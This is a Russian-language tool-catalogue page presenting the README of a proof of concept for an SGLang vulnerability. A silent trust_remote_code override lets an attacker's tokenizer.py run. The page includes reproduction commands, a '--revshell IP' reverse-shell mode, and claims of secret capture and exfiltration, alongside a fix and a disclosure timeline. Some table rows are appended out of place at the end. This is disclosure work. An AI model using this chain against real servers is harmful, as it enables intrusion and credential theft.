Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-7669-PoC — PoC для CVE-2026-7669: SGLang silent trust_remote_code override -> RCE | Kitploit
Инструменты/GitHubGitHub/gouldnicholas/cve-2026-7669-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийБезопасность Цепочки ПоставокИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubgouldnicholas/cve-2026-7669-poc

CVE-2026-7669-PoC

PoC для CVE-2026-7669: SGLang silent trust_remote_code override -> RCE

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-7669

SGLang молча переопределяет trust_remote_code=False на True и повторно вызывает AutoTokenizer.from_pretrained всякий раз, когда transformers v5 возвращает объект TokenizersBackend. Модель с пользовательским tokenizer_class и auto_map, указывающим на tokenizer.py, достигает произвольного выполнения кода внутри процесса SGLang, даже если оператор передал False. Ни на одном уровне не выводится ни одной строки журнала.

  • Проект: https://github.com/sgl-project/sglang
  • Затронуто: 0.5.10 и до текущего main (коммит fae90abf6)
  • Не затронуто: 0.5.9 и более ранние
  • Уязвимый код: python/sglang/srt/utils/hf_transformers_utils.py:898-909
  • CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
  • CWE: 693, 94, 829
  • Уязвимый код

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        tokenizer = AutoTokenizer.from_pretrained(
            tokenizer_name,
            *args,
            trust_remote_code=True,
            tokenizer_revision=tokenizer_revision,
            clean_up_tokenization_spaces=False,
            **kwargs,
        )
    

    Внесено в PR #17784 (коммит d1e95af28, 2026-03-18). Исходное уведомление logger.info(...) было удалено коммитом 27ac831a8 (2026-03-23) под заголовком «docs: improve CI and testing documentation», что сделало переопределение полностью незаметным в каждой выпущенной уязвимой версии.

    Воспроизведение

    root@kitploit:~
    git clone https://github.com/<your-org>/CVE-2026-7669.git
    cd CVE-2026-7669
    ./run.sh
    

    Собирает Docker-образ (python:3.12.7-slim-bookworm + transformers==5.3.0

    • зафиксированный исходный код SGLang) и запускает PoC. Первый запуск занимает около 30–60 секунд. GPU не требуется.

    Другие режимы:

    root@kitploit:~
    ./run.sh --server         воспроизведение через TokenizerManager.__init__
    ./run.sh --versions       матрица transformers 5.0..5.5
    ./run.sh --revshell IP    опциональный reverse shell на IP:4444
    ./run.sh --rebuild        принудительная пересборка --no-cache
    ./run.sh --copy-ledger ./ledger.json
    

    Вердикт

    Код выхода 0 означает подтверждение. Итоговая сводка:

    root@kitploit:~
    Phase 1   transformers + False             return=TokenizersBackend     exec=False
    Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
    Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
    Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
    Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True
    
    Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
    
    *** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
    

    Коды выхода:

    КодЗначение
    0Подтверждено
    1Не сработало
    2Ложное срабатывание (сами transformers выполнили tokenizer.py, ошибка в апстриме)
    3Предварительная проверка зафиксированных версий не пройдена

    Зафиксированное окружение

    Этап предварительной проверки читает pinned_versions.json и сверяет каждое значение с окружением выполнения. При расхождении выход с кодом 3 до запуска любых тестов.

    КомпонентФиксация
    Python3.12.7-slim-bookworm
    transformers5.3.0
    Коммит SGLangfae90abf6e15aaffb6fd924a439253674771487d
    SHA256 hf_transformers_utils.py9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e
    SHA256 уязвимого блока (строки 898-909)109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece

    Обоснование CVSS

    МетрикаЗначениеПодтверждение
    AVNФайлы-триггеры (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) — стандартная раскладка auto_map HF Hub. Любой реестр, который их обслуживает, достигает ошибки.
    ACLPHASE-2 срабатывает детерминированно за один запуск. Каждое условие триггера — контент, созданный атакующим. PRE-1..7 подтверждают отсутствие снятия отпечатков окружения.
    PRNДостаточно бесплатной загрузки на HF Hub. Ничто в цепочке триггера не требует предварительных привилегий на жертве.
    UIRТриггер срабатывает только когда оператор (или конвейер, настроенный оператором) вызывает launch_server --model-path attacker/model.
    SUВсе утверждения SEV-* выполняются в рамках авторитета процесса SGLang. Никакого побега из песочницы или контейнера.
    CHSEV-secrets захватывает HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY из окружения процесса. SEV-network открывает исходящий TCP-канал эксфильтрации.
    IHSEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip — четыре независимых примитива целостности в разных чувствительных местах.
    AHВыводится из RCE. SEV-pip доказывает произвольное выполнение подпроцессов, что является тем же примитивом, необходимым для само-DoS. PoC напрямую не демонстрирует самоуничтожение.

    8.8 — консервативный минимум. 9.6 (с S:C) и 10.0 (оба S:C и UI:N) защитимы, но зависят от мнения рецензента.

    UI:N не обоснован для этого CVE. HTTP-сервер SGLang имеет реальный обход отсутствия аутентификации по умолчанию, когда api_key=None и admin_api_key=None (подтверждено AUTH-1 против примитива decide_request_auth во время выполнения), но ни одна HTTP-конечная точка не достигает get_tokenizer после запуска (подтверждено CHAIN-1). Все четыре места вызова get_tokenizer (TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__) срабатывают один раз при запуске сервера из предоставленного оператором --model-path. Обход аутентификации, таким образом, — отдельная проблема, а не партнёр по цепочке для CVE-2026-7669.

    Утверждения

    PoC записывает JSON-реестр в /tmp/poc_claim_ledger.json с 29 индивидуально проверяемыми утверждениями. Используйте ./run.sh --copy-ledger ./ledger.json для его извлечения.

    ГруппаУтверждения
    PRE-1..7Зафиксированные версии (Python, transformers, SHA256 файла, количество строк, SHA256 блока переопределения, trust_remote_code по умолчанию, путь к исходнику)
    SRC-1Импортированный исходник get_tokenizer содержит переопределение
    PHASE-1transformers напрямую уважает trust_remote_code=False
    PHASE-1b, PHASE-1b-mechSGLang без строк 898-909 уважает False и делает ровно один вызов from_pretrained
    PHASE-2, PHASE-2-mech, PHASE-2-silentРеальный SGLang выполняет tokenizer.py. Трассировка показывает вызов 0 (False)->TokenizersBackend, вызов 1 (True)->MaliciousTokenizer. Ни одна строка журнала не упоминает trust_remote_code (захват DEBUG на корневом и sglang логгерах).
    PHASE-2bПатч + явный True всё ещё загружается (патч точечный)
    PHASE-3-rce, PHASE-3-via-overrideРежим медленного токенизатора также достигает RCE через тот же путь 898-909
    SEV-write-sglang, SEV-write-launchsrv, SEV-write-modelПримитивы персистентности и латерального распространения
    SEV-networkИсходящий TCP-канал эксфильтрации
    SEV-secretsЗахват секретов из переменных окружения
    SEV-pipПроизвольная установка pip (цепочка поставок)
    SEV-rootПроцесс работает от root в образе lmsysorg
    AUTH-1ServerArgs по умолчанию (api_key=None, admin_api_key=None) оставляет все конечные точки доступными без аутентификации

    Механизм

    Файлы модели-триггера (все контролируются атакующим, все разрешены HF Hub):

    root@kitploit:~
    attacker/model/
      config.json             model_type "gpt2" (в TOKENIZER_MAPPING_NAMES transformers)
      tokenizer_config.json   пользовательский tokenizer_class + auto_map -> tokenizer.py
      tokenizer.json          валидный BPE-токенизатор (чтобы первая загрузка прошла успешно)
      tokenizer.py            полезная нагрузка
      model.safetensors       фиктивные веса
    

    Поток выполнения внутри get_tokenizer(MODEL_DIR, trust_remote_code=False):

    1. SGLang вызывает AutoTokenizer.from_pretrained(..., trust_remote_code=False).
    2. Transformers v5, обнаружив пользовательский tokenizer_class не в своём реестре, откатывается к обобщённому TokenizersBackend, построенному из tokenizer.json. tokenizer.py на этом этапе не выполняется.
    3. Строки 898-909 SGLang проверяют type(tokenizer).__name__ == "TokenizersBackend" и молча повторяют попытку с trust_remote_code=True.
    4. Transformers, теперь получив указание доверять удалённому коду, импортирует tokenizer.py. Операторы верхнего уровня выполняются внутри процесса SGLang.

    PHASE-2-mech PoC захватывает трассировку буквально:

    root@kitploit:~
    [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
     {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
    

    Исправление

    Удалите строки 898-909. TokenizersBackend — пригодный токенизатор для многих нагрузок, и возврат его как есть — безопасное поведение по умолчанию. Если модели действительно нужен пользовательский код токенизатора, оператор должен явно передать --trust-remote-code.

    В качестве альтернативы — вывести громкое предупреждение и вернуть TokenizersBackend без повторного вызова from_pretrained:

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        logger.warning(
            "Model %s requires a custom tokenizer but trust_remote_code=False. "
            "Returning generic TokenizersBackend without executing tokenizer.py. "
            "Restart with --trust-remote-code if the custom code is required.",
            tokenizer_name,
        )
    

    PHASE-2b подтверждает, что минимальный патч точечный: явный trust_remote_code=True по-прежнему загружает модель.

    Раскрытие

    • 2026-04-07: обнаружено, рабочий PoC
    • 2026-04-07: сообщено через SGLang Private Vulnerability Reporting и VulDB
    • 2026-05-03: назначен CVE-2026-7669
    • 2026-05-04: опубликован этот PoC

    Авторы

    • Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
    • David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

    Ссылки

    • Уязвимый код: https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
    • Вносящий PR: https://github.com/sgl-project/sglang/pull/17784
    • Коммит удаления журнала: https://github.com/sgl-project/sglang/commit/27ac831a8
    • HuggingFace trust_remote_code: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained
    • Предыдущие CVE SGLang: CVE-2025-10164, CVE-2026-3059, CVE-2026-3060

    Этот PoC предназначен для оборонительных исследований безопасности и устранения уязвимостей. Вредоносный tokenizer.py по умолчанию записывает только в /tmp/sglang_poc_proof.txt внутри контейнера. Не запускайте против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.

    Скачать инструмент
    ADMIN_OPTIONAL
    AUTH-2, AUTH-3Положительные контроли, подтверждающие, что middleware блокирует без аутентификации и принимает валидный bearer при настройке
    CHAIN-1Ни один обработчик HTTP-конечной точки не вызывает get_tokenizer() после запуска (ноль мест вызова в http_server.py)
    CHAIN-2Явный вердикт: UI:N НЕ обоснован для этого CVE. Обход отсутствия аутентификации по умолчанию реален, но не может достичь переопределения trust_remote_code, поскольку все четыре вызывающих get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) — пути __init__, срабатывающие один раз при запуске сервера. Оператор по-прежнему выбирает путь модели во время launch_server, поэтому UI:R остаётся в силе.